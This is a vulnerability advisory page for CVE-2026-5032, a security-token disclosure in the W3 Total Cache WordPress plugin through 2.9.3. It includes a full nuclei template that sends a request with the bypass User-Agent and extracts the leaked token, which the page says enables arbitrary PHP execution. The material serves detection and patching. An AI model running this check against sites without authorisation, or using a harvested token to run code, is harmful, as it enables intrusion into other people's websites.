W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

highseverity

7.5CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.

Impact

Unauthenticated attackers can leak the site's W3TC_DYNAMIC_SECURITY token, which can then be used to craft valid mfunc/mclude dynamic fragment tags and execute arbitrary PHP code on sites that have fragment caching enabled with existing dynamic fragment tags.

Fix

Update the W3 Total Cache plugin to version 2.9.4 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and !regex("<!--\\s*(mfunc|mclude)\\s+\\S+", body)
Send: GET /
Positive when: status 200 AND matches /<!--\s*(?:mfunc|mclude)\s+\S+/

Run it with nuclei: nuclei -id CVE-2026-5032 -u <target>

The full check

id: CVE-2026-5032

info:
  name: W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure
  author: prithvee07
  severity: high
  description: |
    The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.
  impact: |
    Unauthenticated attackers can leak the site's W3TC_DYNAMIC_SECURITY token, which can then be used to craft valid mfunc/mclude dynamic fragment tags and execute arbitrary PHP code on sites that have fragment caching enabled with existing dynamic fragment tags.
  remediation: |
    Update the W3 Total Cache plugin to version 2.9.4 or later.
  reference:
    - https://github.com/advisories/GHSA-fxg7-rh9m-q77p
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016
    - https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cache
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-5032
    epss-score: 0.03211
    epss-percentile: 0.88283
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3-total-cache
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/w3-total-cache"
    fofa-query: body="wp-content/plugins/w3-total-cache"
  tags: cve,cve2026,wordpress,wp-plugin,wp,w3-total-cache,exposure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!regex("<!--\\s*(mfunc|mclude)\\s+\\S+", body)'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: W3 Total Cache

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '<!--\s*(?:mfunc|mclude)\s+\S+'

    extractors:
      - type: regex
        name: w3tc-dynamic-security
        part: body
        group: 1
        regex:
          - '<!--\s*(?:mfunc|mclude)\s+(\S+)'

References

Use this check only on systems you are authorised to test. Where the data comes from